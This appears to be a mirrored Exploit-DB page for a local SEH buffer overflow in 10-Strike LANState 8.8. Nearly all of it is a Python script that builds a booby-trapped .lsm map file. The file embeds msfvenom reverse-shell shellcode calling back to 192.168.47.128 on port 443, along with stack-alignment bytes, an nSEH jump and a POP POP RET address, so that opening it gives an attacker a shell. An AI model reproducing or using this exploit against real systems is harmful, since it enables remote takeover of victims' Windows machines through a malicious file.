10-Strike LANState 8.8 – Local Buffer Overflow (SEH)

• Exploit Database
• 137 阅读

• 作者： absolomb
  日期： 2018-07-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45086/
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  # Exploit Title: 10-Strike LANState 8.8 - Local Buffer Overflow (SEH) # Date: 2018-07-24 # Exploit Author: absolomb # Vendor Homepage: https://www.10-strike.com/products.shtml # Software Link: https://www.10-strike.com/lanstate/download.shtml # Version 8.8 # Tested on: Windows 7 SP 1 x86   # Open LANState, File -> Open, browse to generated lsm file, boom shell. # If it doesn't work first try, close the tab at the bottom and reopen the file   #!/usr/bin/python   lsm = """[VERSION INFO] PROG_NAME=LANState PROG_VER=8.85 MAP_VER=8.3 MAPID=584636991   [OBJECT#4] index=4 ObjName= ObjCaption={0} ObjHint= ObjLink= POS_X=100 POS_Y=0 Width=65 Height=65 ImageWidth=31 ImageHeight=32 StdImageIndex=1 ImageFilePath= FontName=Arial FontColor=0 FontSize=8 FontCharset=1 FontStyle=0 TextAlignment=2 TextLayout=0 ObjType=1 OBJ_ID=1 TYPE_ID=2 IP= REMOTE_NAME=A MAP_NAME= MAC_ADDR= OS= SNMPAgent=0 SNMPVer=1 SNMPUname= SNMPPassw= SNMPPrivPassw= SNMPSecLevel=0 SNMPAuthType=0 SNMPPrivType=0 Community= ALWAYS_ON=0 ImageEnabled=0 ImageFile= IPList= CurrentUser= DESCRIPT= CheckInterval=60 DownTime1=0 DownTime1Start=12:00:00 AM DownTime1Finish=12:00:00 AM DownTime2=0 DownTime2Start=12:00:00 AM DownTime2Finish=12:00:00 AM DownTime3=0 DownTime3Start=12:00:00 AM DownTime3Finish=12:00:00 AM DownTime4=0 DownTime4Start=12:00:00 AM DownTime4Finish=12:00:00 AM DownTime5=0 DownTime5Start=12:00:00 AM DownTime5Finish=12:00:00 AM DownTime6=0 DownTime6Start=12:00:00 AM DownTime6Finish=12:00:00 AM DownTime7=0 DownTime7Start=12:00:00 AM DownTime7Finish=12:00:00 AM DTDoNotAlert=1 RunFirstOnly=0 FirstIsPassed=1 CHECK#0/HostAddr={0} CHECK#0/CID=1 CHECK#0/NumRetries=1 CHECK#0/RetInterval=30 CHECK#0/IsMainCheck=0 CHECK#0/KeepStat=1 CHECK#0/CheckType=0 CHECK#0/CheckOn=1 CHECK#0/CheckRTTime=0 CHECK#0/RTTime=1000 CHECK#0/PacketsCount=4 CHECK#0/TimeOut=500 CHECK#0/SizeBuf=32   [VIEW] FonImage=0 FonImageFile= ImagePosition=0 ImageOffsetX=16 ImageOffsetY=16 ImgW=0 ImgH=0 ImgAutoSize=1 ScaleFactor=1 ScrollX=0 ScrollY=0 BkGroundColor=16777215 FontName=Arial FontColor=-16777208 FontSize=8 FontCharset=1 FontStyle=0 Gradient=0 Color1=15780518 Color2=16777215 WebUseSmallIcons=0 CurIconSize=32 LockAreas=0 LockLines=0 LockHosts=0 WindowState=2 WindowTop=-10 WindowsLeft=12 WindowWidth=800 WindowsHeight=600   """   # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.47.128 LPORT=443 -e x86/alpha_mixed BufferRegister=EDI -f python -v shellcode shellcode ="" shellcode += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58" shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42" shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" shellcode += "\x42\x75\x4a\x49\x49\x6c\x6b\x58\x4f\x72\x57\x70" shellcode += "\x47\x70\x77\x70\x75\x30\x6c\x49\x69\x75\x45\x61" shellcode += "\x4b\x70\x71\x74\x4c\x4b\x62\x70\x64\x70\x4e\x6b" shellcode += "\x62\x72\x54\x4c\x6e\x6b\x71\x42\x65\x44\x4c\x4b" shellcode += "\x70\x72\x34\x68\x64\x4f\x4d\x67\x62\x6a\x76\x46" shellcode += "\x56\x51\x79\x6f\x6e\x4c\x65\x6c\x75\x31\x71\x6c" shellcode += "\x44\x42\x74\x6c\x61\x30\x59\x51\x7a\x6f\x64\x4d" shellcode += "\x47\x71\x58\x47\x49\x72\x6a\x52\x66\x32\x62\x77" shellcode += "\x6e\x6b\x50\x52\x56\x70\x6e\x6b\x53\x7a\x77\x4c" shellcode += "\x4c\x4b\x50\x4c\x46\x71\x73\x48\x38\x63\x62\x68" shellcode += "\x37\x71\x78\x51\x30\x51\x6e\x6b\x73\x69\x75\x70" shellcode += "\x67\x71\x78\x53\x4e\x6b\x77\x39\x64\x58\x68\x63" shellcode += "\x75\x6a\x37\x39\x4c\x4b\x55\x64\x4e\x6b\x35\x51" shellcode += "\x6a\x76\x74\x71\x6b\x4f\x6c\x6c\x6f\x31\x7a\x6f" shellcode += "\x56\x6d\x75\x51\x4a\x67\x75\x68\x4d\x30\x30\x75" shellcode += "\x78\x76\x43\x33\x53\x4d\x68\x78\x37\x4b\x61\x6d" shellcode += "\x65\x74\x44\x35\x4a\x44\x30\x58\x4c\x4b\x62\x78" shellcode += "\x31\x34\x35\x51\x4b\x63\x31\x76\x6c\x4b\x46\x6c" shellcode += "\x72\x6b\x6e\x6b\x66\x38\x35\x4c\x35\x51\x6b\x63" shellcode += "\x6c\x4b\x74\x44\x6c\x4b\x53\x31\x78\x50\x6e\x69" shellcode += "\x73\x74\x44\x64\x35\x74\x43\x6b\x63\x6b\x51\x71" shellcode += "\x32\x79\x50\x5a\x73\x61\x79\x6f\x79\x70\x31\x4f" shellcode += "\x33\x6f\x51\x4a\x6e\x6b\x45\x42\x7a\x4b\x4c\x4d" shellcode += "\x43\x6d\x73\x58\x57\x43\x67\x42\x55\x50\x43\x30" shellcode += "\x51\x78\x42\x57\x42\x53\x66\x52\x71\x4f\x66\x34" shellcode += "\x45\x38\x72\x6c\x73\x47\x57\x56\x37\x77\x49\x6f" shellcode += "\x7a\x75\x68\x38\x7a\x30\x43\x31\x43\x30\x33\x30" shellcode += "\x36\x49\x4a\x64\x73\x64\x62\x70\x30\x68\x44\x69" shellcode += "\x4d\x50\x30\x6b\x37\x70\x69\x6f\x59\x45\x62\x70" shellcode += "\x42\x70\x76\x30\x30\x50\x61\x50\x62\x70\x57\x30" shellcode += "\x46\x30\x51\x78\x78\x6a\x54\x4f\x49\x4f\x6b\x50" shellcode += "\x6b\x4f\x4a\x75\x4a\x37\x53\x5a\x57\x75\x42\x48" shellcode += "\x39\x50\x69\x38\x36\x4f\x4b\x30\x50\x68\x34\x42" shellcode += "\x65\x50\x65\x51\x4d\x6b\x6c\x49\x39\x76\x33\x5a" shellcode += "\x36\x70\x72\x76\x76\x37\x31\x78\x7a\x39\x4d\x75" shellcode += "\x52\x54\x61\x71\x59\x6f\x79\x45\x6b\x35\x39\x50" shellcode += "\x62\x54\x34\x4c\x39\x6f\x50\x4e\x77\x78\x62\x55" shellcode += "\x78\x6c\x53\x58\x48\x70\x4c\x75\x39\x32\x76\x36" shellcode += "\x59\x6f\x58\x55\x70\x68\x53\x53\x52\x4d\x62\x44" shellcode += "\x43\x30\x4e\x69\x6a\x43\x71\x47\x71\x47\x61\x47" shellcode += "\x64\x71\x39\x66\x50\x6a\x34\x52\x33\x69\x42\x76" shellcode += "\x38\x62\x4b\x4d\x51\x76\x4a\x67\x51\x54\x75\x74" shellcode += "\x47\x4c\x56\x61\x46\x61\x6c\x4d\x37\x34\x57\x54" shellcode += "\x54\x50\x7a\x66\x65\x50\x42\x64\x50\x54\x52\x70" shellcode += "\x73\x66\x71\x46\x31\x46\x37\x36\x32\x76\x42\x6e" shellcode += "\x33\x66\x71\x46\x62\x73\x61\x46\x32\x48\x50\x79" shellcode += "\x38\x4c\x45\x6f\x4d\x56\x6b\x4f\x79\x45\x4f\x79" shellcode += "\x49\x70\x52\x6e\x62\x76\x37\x36\x4b\x4f\x34\x70" shellcode += "\x65\x38\x57\x78\x6e\x67\x65\x4d\x35\x30\x69\x6f" shellcode += "\x58\x55\x4d\x6b\x5a\x50\x4f\x45\x69\x32\x33\x66" shellcode += "\x42\x48\x6d\x76\x6c\x55\x4d\x6d\x4f\x6d\x49\x6f" shellcode += "\x4a\x75\x75\x6c\x43\x36\x63\x4c\x67\x7a\x6f\x70" shellcode += "\x6b\x4b\x6b\x50\x43\x45\x56\x65\x6f\x4b\x43\x77" shellcode += "\x62\x33\x73\x42\x72\x4f\x33\x5a\x55\x50\x63\x63" shellcode += "\x79\x6f\x6e\x35\x41\x41"   align_stack ='\x58' #POP EAX align_stack += '\x58' #POP EAX align_stack += '\x05\x61\x55\x55\x55' #ADD EAX,55555561 align_stack += '\x05\x61\x55\x55\x55' #ADD EAX,55555561 align_stack += '\x05\x62\x56\x55\x55' #ADD EAX,55555662 align_stack += '\x50' #PUSH EAX align_stack += '\x5f' #POP EDI   # JMP always true nseh = '\x71\x06\x70\x04'   #01BA7647 POP POP RET LANState.exe seh = '\x47\x76\xba\x01'   payload = '\x41' * 235 payload += nseh payload += seh payload += align_stack payload += '\x41' * 265 payload += shellcode payload += '\x41' * (3492 -len(shellcode + align_stack))   buffer = lsm.format(payload)   file = open('sploit.lsm','w') print "Size: " + str(len(payload)) + " bytes" file.write(buffer) file.close() print "Map file created!"